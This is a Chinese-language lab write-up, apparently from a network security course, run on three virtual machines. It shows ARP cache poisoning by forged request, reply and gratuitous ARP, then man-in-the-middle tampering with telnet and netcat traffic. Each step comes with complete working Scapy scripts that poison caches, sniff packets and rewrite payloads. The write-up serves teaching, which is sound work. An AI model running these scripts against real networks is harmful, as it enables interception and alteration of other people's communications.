这部分主要是理解ARP协议和实施一些对ARP的攻击。
本地共有三台虚拟机,位于同一个子网下。地址如下:
Name | Mac Address | IP Address |
---|---|---|
A | 08:00:27:7e:82:57 | 10.0.2.4 |
B | 08:00:27:34:bf:1e | 10.0.2.5 |
C | 08:00:27:62:26:68 | 10.0.2.6 |
这部分主要是通过不同的方式实施ARP缓存投毒攻击。
这部分是通过ARP请求广播来实施ARP缓存投毒攻击。具体目标是我们通过A攻击C使得C的ARP缓存中B的IP地址对应的MAC地址是A的MAC地址。实现就是A在ARP请求中,使用A的MAC地址和B的IP地址,C收到请求后会进行缓存发送方的ip和mac映射。
先在 C机器上执行命令 sudo arp -d 10.0.2.5
清除C机器上的关于机器B的arp缓存。然后在A机器上执行下面的代码。
代码如下:
#!/usr/bin/python3
from scapy.all import *
broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"
E = Ether(src=A_mac, dst=broadcast_mac)
A = ARP(hwsrc=A_mac, psrc=B_ip, pdst=C_ip)
sendp(E/A)
查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5
(机器B)对应的MAC地址为08:00:27:7e:82:57
(机器A的MAC地址),攻击完成。
wireshark记录如下:
这部分是通过ARP响应来实施ARP缓存投毒攻击。具体目标和task1A基本一样,都是通过A攻击C使得C的ARP缓存中B的IP地址对应的MAC地址是A的MAC地址。实现就是在ARP响应中发送方使用A的MAC地址和B的IP地址,接受方使用C的MAC地址和C的IP地址。
先在 C机器上执行命令 sudo arp -d 10.0.2.5
清除C机器上的关于机器B的arp缓存。然后在A机器上执行下面的代码。
代码如下:
#!/usr/bin/python3
from scapy.all import *
broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"
E = Ether(src=A_mac, dst=C_mac)
# op=2 implies a arp reply
A = ARP(hwsrc=A_mac, psrc=B_ip, hwdst=C_mac, pdst=C_ip, op=2)
sendp(E/A)
查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5
(机器B)对应的MAC地址为08:00:27:7e:82:57
(机器A的MAC地址),攻击完成。
wireshark记录如下:
这部分是通过ARP免费报文来实施ARP缓存投毒攻击。免费ARP报文是一种特殊的ARP报文,该报文携带的发送端IP地址和目标IP地址都是本机地址,报文源MAC地址是本机地址,目的MAC地址是广播地址,以太网头中的目的MAC地址也是广播地址。
设备通过对外发送免费ARP报文来实现以下功能:
确定其它设备的IP地址是否与本机的IP地址冲突。当其它设备收到免费ARP报文后,如果发现报文中的IP地址和自己的IP地址相同,则给发送免费ARP报文的设备返回一个ARP应答,告知该设备IP地址冲突。
设备改变了硬件地址,通过发送免费ARP报文通知其它设备更新ARP表项。
这部分我们的具体目标和task1A基本一样,都是通过A攻击C使得C的ARP缓存中B的IP地址对应的MAC地址是A的MAC地址。实现就是在ARP免费报文中发送方使用A的MAC地址和B的IP地址即可。
先在 C机器上执行命令 sudo arp -d 10.0.2.5
清除C机器上的关于机器B的arp缓存。然后在A机器上执行下面的代码。
代码如下:
#!/usr/bin/python3
from scapy.all import *
broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"
E = Ether(src=A_mac, dst=broadcast_mac)
# op=2 implies a arp reply
A = ARP(hwsrc=A_mac, psrc=B_ip, hwdst=broadcast_mac, pdst=B_ip)
sendp(E/A)
查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5
(机器B)对应的MAC地址为08:00:27:7e:82:57
(机器A的MAC地址),攻击完成。
wireshark记录如下:
这部分主要是通过ARP缓存投毒来对telnet实施中间人攻击。示意图如下:
这部分我们使用A作为攻击者,即作为中间人去监听B和C之间的通信。 共分为以下几步:
要实施中间人攻击,就必须先让B和C之间的数据包经过攻击者。这部分我们可以用ARP缓存投毒,具体效果可以参考Task 1.
ARP缓存投毒有多种实现方法,这里我们采用Task1A中的方法实现,即通过ARP请求来实现。具体代码如下:
#!/usr/bin/python3
from scapy.all import *
broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "08:00:27:7e:82:57"
A_ip = "10.0.2.4"
# machine B
B_mac = "08:00:27:34:bf:1e"
B_ip = "10.0.2.5"
# machine C
C_mac = "08:00:27:62:26:68"
C_ip = "10.0.2.6"
# attack machine B
E = Ether(src=A_mac, dst=broadcast_mac)
A = ARP(hwsrc=A_mac, psrc=C_ip, pdst=B_ip)
sendp(E/A)
# attack machine C
E = Ether(src=A_mac, dst=broadcast_mac)
A = ARP(hwsrc=A_mac, psrc=B_ip, pdst=C_ip)
sendp(E/A)
在B机器上使用sudo arp -d 10.0.2.6
删除B机器上的关于机器C的arp缓存,在C机器上使用sudo arp -d 10.0.2.5
删除C机器上的关于机器B的arp缓存。
在A机器上运行上面的代码。
查看 B机器的arp缓存如下, 可以看到IP为10.0.2.6
(机器C)对应的MAC地址为08:00:27:7e:82:57
(机器A的MAC地址)。
查看 C机器的arp缓存如下, 可以看到IP为10.0.2.5
(机器B)对应的MAC地址为08:00:27:7e:82:57
(机器A的MAC地址)。
至此,我们将B机器上C的IP地址的ARP缓存指向了A的MAC地址,C机器上B的IP地址的ARP缓存指向了A的MAC地址,攻击完成。
上面我们完成了攻击,这里我们在B机器上ping C机器,在C机器上ping B机器测试一下。
下图是在B机器上ping C机器,可以看到是ping不通的,同理在C机器上ping B机器也是ping不通的。
原因如下:以在B机器上ping C机器为例, 发送的icmp包链路层本应该是机器C的ip对应的MAC地址,但是由于ARP中毒攻击,缓存中机器C的ip对应的MAC地址是机器A的MAC地址,而IP层的目的地址是机器C的IP地址。所以机器A收到这个包,看到包中的目的MAC地址与自己的一样,会收下来,但是IP层的目的IP是机器C的IP地址,与自己的对不上,会丢弃该包。
机器C看到包中的目的MAC地址与自己的不一样,不会收,所以ping失败。
使用下面的命令在A机器上打开数据包转发功能。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。
sudo sysctl net.ipv4.ip_forward=1
打开后再次测试可以发现从机器B可以ping通机器C了。
原因就是系统开启了类似路由的转发功能,以请求为例,第一个包如下,IP层是机器B -> 机器C,由于ARP缓存中毒,链路层是机器B -> 机器A
然后转发开始起作用。机器A收到包后修改链路层的MAC地址,目的MAC为机器C的MAC地址,源MAC为自己的MAC地址。
所以IP层是机器B -> 机器C不变,但是链路层变成机器A -> 机器C
这样C就能收到正确的icmp报文了。同理C的响应也是按照上面的步骤进行,响应先发给A,A再转发给B。
机器A在整个过程中就和一台路由器一样,完成包的转发工作。
最后就是实施攻击了。
我们先在机器A上打开包转发功能,然后在机器B上telnet机器C,输入用户名密码,可以连上,可以正常输入命令并返回结果。然后在机器A上关闭包转发功能,再输入命令,可以发现无法输入,因为此时关闭包转发后,机器B和机器C已经无法通信,原因见Step 2分析,如下所示,无法输入。
下面进行攻击。攻击的思路就是如Step 4.1中一样,先用ARP缓存中毒攻击机器B和机器C,然后在机器A上打开包转发。这时候机器B可以通过telnet和机器C建立通信。建立连接后在机器A上关闭包转发,运行我们的发包程序即可。虽然这时机器B不能直接和机器C通信,但是它发给机器C的包都发给机器A,机器A略作修改后即可发送给机器C。
先不修改数据包,使用的代码如下:
#!/usr/bin/python3
from scapy.all import *
VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"
def spoof_pkt(pkt):
if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.
newpkt = IP(pkt[IP])
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
olddata = pkt[TCP].payload.load # Get the original payload data
newdata = olddata # No change is made in this sample code
#####################################################################
# Attach the new data and set the packet out
send(newpkt/newdata)
elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
send(pkt[IP]) # Forward the original packet
# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)
机器B上的结果如下,可以看到攻击后,telnet可以正常运行命令并输出结果,下图是输入ifconfig命令后,输出了机器C上的网卡和地址信息,右边是机器B本地shell的输出结果。这说明攻击正常工作。
下面尝试修改中间通信的数据包,这里我们简单将机器B发送的命令中的每个字符修改为z。代码如下:
#!/usr/bin/python3
from scapy.all import *
VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"
def spoof_pkt(pkt):
if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.
newpkt = IP(pkt[IP])
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
olddata = pkt[TCP].payload.load # Get the original payload data
newdata = "z" * len(olddata) # No change is made in this sample code
#####################################################################
# Attach the new data and set the packet out
send(newpkt/newdata)
elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
send(pkt[IP]) # Forward the original packet
# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)
结果如下,无论输入什么,都会显示z,即使回车,这会使得无法执行命令。因为在telnet中,一般你一输入一个字符,就会发一个包。当你输入非常快时,可能会一个包带多个字符。发送过去的数据server端会返回给client,client会显示在终端上。上面我们全替换为z,显示在client上的也全部是z。
略修改下,不替换回车,代码如下:
#!/usr/bin/python3
from scapy.all import *
VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"
def spoof_pkt(pkt):
if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
olddata = pkt[TCP].payload.load # Get the original payload data
print("bytes: ", olddata)
newdata = olddata.decode("ascii")
print("content: ", newdata)
tt = ""
for v in newdata:
tt += (v if v == '\r' else 'z')
newdata = tt
print("final: ", newdata)
#####################################################################
# Attach the new data and set the packet out
send(newpkt/newdata)
elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
send(pkt[IP]) # Forward the original packet
# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)
注意整个实验过程中,可能存在缓存中毒被破坏的情况,即机器B或C自己主动发ARP请求得到别人的真实地址的情况,这种情况下攻击可能会失效。解决办法是可以在机器A上定期发送ARP缓存中毒攻击,维持别的机器上的中毒ARP缓存。
这部分和task 2类似,只是对netcat实施中间人攻击。我们的任务是在netcat中输入包含我们名字的消息,攻击将名字的姓替换为同样长度的A。使用代码如下:
#!/usr/bin/python3
from scapy.all import *
VM_B_IP = "10.0.2.5"
VM_C_IP = "10.0.2.6"
def spoof_pkt(pkt):
if pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_C_IP and pkt[TCP].payload:
# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
olddata = pkt[TCP].payload.load # Get the original payload data
oldstr = olddata.decode("ascii")
newdata = oldstr.replace("Liu", "AAA")
#####################################################################
# Attach the new data and set the packet out
send(newpkt/newdata)
elif pkt[IP].src == VM_C_IP and pkt[IP].dst == VM_B_IP:
send(pkt[IP]) # Forward the original packet
# capture pkt of which sender is not machine A
pkt = sniff(filter="ether src host not 08:00:27:7e:82:57 and tcp",prn=spoof_pkt)
具体操作和task 2类似。先在机器A上发动ARP缓存投毒,并开启转发包。在机器C上使用nc -l 9090
监听9090端口,在机器B上使用nc 10.0.2.6 9090
连接机器C的9090端口。连接成功后在机器A上关闭转发包并运行上面的代码。这时候可以在机器B上输入消息并观察机器C的输出。
机器B的输入如下:
机器C的输出如下:
可以看到,我们成功将名字中的姓改成AAA。
撒花完结!!!